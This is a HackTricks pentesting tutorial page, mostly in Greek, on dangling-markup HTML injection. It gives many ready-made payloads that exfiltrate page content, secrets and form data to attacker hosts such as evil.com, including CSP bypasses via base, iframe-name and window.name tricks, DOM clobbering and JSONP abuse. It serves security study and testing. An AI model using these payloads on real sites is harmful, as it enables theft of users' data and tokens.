hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

19 KiB
Raw Blame History

Dangling Markup - HTML scriptless injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Resume

Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια HTML injection. Αυτό είναι πολύ χρήσιμο αν δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα XSS αλλά μπορείτε να εισάγετε μερικές HTML ετικέτες.
Είναι επίσης χρήσιμο αν κάποιο μυστικό αποθηκεύεται σε καθαρό κείμενο στο HTML και θέλετε να εξάγετε αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.

Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια Content Security Policy εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).

Main Applications

Stealing clear text secrets

Αν εισάγετε <img src='http://evil.com/log.cgi? όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας img και της επόμενης απόστροφου μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας μια διπλή απόστροφο, δείτε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).

Αν η ετικέτα img είναι απαγορευμένη (λόγω CSP για παράδειγμα), μπορείτε επίσης να χρησιμοποιήσετε <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Σημειώστε ότι το Chrome μπλοκάρει τα HTTP URLs με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλα πρωτόκολλα όπως το "ftp".

Μπορείτε επίσης να εκμεταλλευτείτε το CSS @import (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Μπορείτε επίσης να χρησιμοποιήσετε <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Μπορείτε επίσης να εισάγετε μια <base ετικέτα. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτεί κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιον σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει το τομέα που υποδεικνύει ο σύνδεσμος):

<base target='        <--- Injected
steal me'<b>test</b>

Κλοπή φορμών

<base href='http://evil.com/'>

Τότε, οι φόρμες που στέλνουν δεδομένα σε διαδρομή (όπως <form action='update_profile.php'>) θα στείλουν τα δεδομένα στο κακόβουλο domain.

Stealing forms 2

Ορίστε μια κεφαλίδα φόρμας: <form action='http://evil.com/log_steal'> αυτό θα αντικαταστήσει την επόμενη κεφαλίδα φόρμας και όλα τα δεδομένα από τη φόρμα θα σταλούν στον επιτιθέμενο.

Stealing forms 3

Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL στην οποία θα σταλούν οι πληροφορίες της φόρμας με την ιδιότητα "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Ένας επιτιθέμενος μπορεί να το χρησιμοποιήσει για να κλέψει τις πληροφορίες.

Βρείτε ένα παράδειγμα αυτής της επίθεσης σε αυτή την αναφορά.

Κλέβοντας μυστικά σε καθαρό κείμενο 2

Χρησιμοποιώντας την τελευταία αναφερόμενη τεχνική για να κλέψετε φόρμες (εισάγοντας μια νέα κεφαλίδα φόρμας) μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισόδου:

<input type='hidden' name='review_body' value="

και αυτό το πεδίο εισόδου θα περιέχει όλο το περιεχόμενο μεταξύ των διπλών εισαγωγικών του και του επόμενου διπλού εισαγωγικού στο HTML. Αυτή η επίθεση συνδυάζει το "Stealing clear text secrets" με το "Stealing forms2".

Μπορείτε να κάνετε το ίδιο πράγμα εισάγοντας μια φόρμα και μια ετικέτα <option>. Όλα τα δεδομένα μέχρι να βρεθεί μια κλειστή </option> θα σταλούν:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parameter injection

Μπορείτε να αλλάξετε τη διαδρομή μιας φόρμας και να εισάγετε νέες τιμές ώστε να εκτελείται μια απροσδόκητη ενέργεια:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Κλοπή καθαρών μυστικών μέσω noscript

<noscript></noscript> Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευτεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο chrome://settings/content/javascript).

Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

Από αυτήν την έρευνα του portswigger μπορείτε να μάθετε ότι ακόμη και από τα πιο περιορισμένα περιβάλλοντα CSP μπορείτε να εξάγετε δεδομένα με κάποια αλληλεπίδραση χρήστη. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Σημειώστε ότι θα ζητήσετε από το θύμα να κλικάρει σε έναν σύνδεσμο που θα ανακατευθύνει αυτόν σε payload που ελέγχετε εσείς. Επίσης, σημειώστε ότι το target χαρακτηριστικό μέσα στην base ετικέτα θα περιέχει HTML περιεχόμενο μέχρι το επόμενο μονό απόσπασμα.
Αυτό θα κάνει ώστε η τιμή του window.name αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το HTML περιεχόμενο. Επομένως, καθώς ελέγχετε τη σελίδα στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το window.name και να exfiltrate αυτά τα δεδομένα:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Misleading script workflow 1 - HTML namespace attack

Εισάγετε μια νέα ετικέτα με και id μέσα στο HTML που θα αντικαταστήσει την επόμενη και με μια τιμή που θα επηρεάσει τη ροή ενός script. Σε αυτό το παράδειγμα επιλέγετε με ποιον θα μοιραστεί μια πληροφορία:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Misleading script workflow 2 - Script namespace attack

Δημιουργήστε μεταβλητές μέσα στο namespace javascript εισάγοντας HTML tags. Στη συνέχεια, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Κατάχρηση του JSONP

Αν βρείτε μια διεπαφή JSONP, θα μπορούσατε να καλέσετε μια αυθαίρετη συνάρτηση με αυθαίρετα δεδομένα:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ή μπορείτε ακόμη να προσπαθήσετε να εκτελέσετε κάποια javascript:

<script src='/search?q=a&call=alert(1)'></script>

Iframe abuse

Ένα παιδικό έγγραφο έχει τη δυνατότητα να δει και να τροποποιήσει την ιδιότητα location του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα iframe που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Αυτό μπορεί να μετριαστεί με κάτι όπως: sandbox=' allow-scripts allow-top-navigation'

Ένα iframe μπορεί επίσης να καταχραστεί για να διαρρεύσει ευαίσθητες πληροφορίες από μια διαφορετική σελίδα χρησιμοποιώντας το χαρακτηριστικό name του iframe. Αυτό συμβαίνει επειδή μπορείτε να δημιουργήσετε ένα iframe που iframe τον εαυτό του καταχρώντας την HTML injection που κάνει τις ευαίσθητες πληροφορίες να εμφανίζονται μέσα στο χαρακτηριστικό name του iframe και στη συνέχεια να αποκτήσετε πρόσβαση σε αυτό το όνομα από το αρχικό iframe και να το διαρρεύσετε.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Για περισσότερες πληροφορίες, ελέγξτε https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuse

Μπορείτε να χρησιμοποιήσετε meta http-equiv για να εκτελέσετε διάφορες ενέργειες όπως να ρυθμίσετε ένα Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ή να εκτελέσετε μια ανακατεύθυνση (σε 5 δευτερόλεπτα σε αυτή την περίπτωση): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Αυτό μπορεί να αποφευχθεί με μια CSP σχετικά με http-equiv ( Content-Security-Policy: default-src 'self';, ή Content-Security-Policy: http-equiv 'self';)

Νέος <portal HTML tag

Μπορείτε να βρείτε μια πολύ ενδιαφέρουσα έρευνα για εκμεταλλεύσιμες ευπάθειες του <portal tag εδώ.
Αυτή τη στιγμή που γράφεται αυτό, πρέπει να ενεργοποιήσετε το portal tag στο Chrome στο chrome://flags/#enable-portals ή δεν θα λειτουργήσει.

<portal src='https://attacker-server?

HTML Leaks

Όλοι οι τρόποι διαρροής συνδεσιμότητας σε HTML δεν θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Αυτό είναι ένα μείγμα μεταξύ dangling markup και XS-Leaks. Από τη μία πλευρά, η ευπάθεια επιτρέπει να εισαχθεί HTML (αλλά όχι JS) σε μια σελίδα της ίδιας προέλευσης με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα επιτεθούμε άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε μια άλλη σελίδα.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search είναι προσανατολισμένα να εξάγουν πληροφορίες από διαφορετικές προελεύσεις εκμεταλλευόμενα επιθέσεις πλευρικής διαρροής. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, ορισμένες από τις τεχνικές εκμεταλλεύονται την εισαγωγή HTML ετικετών (με και χωρίς εκτέλεση JS), όπως CSS Injection ή Lazy Load Images.

{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}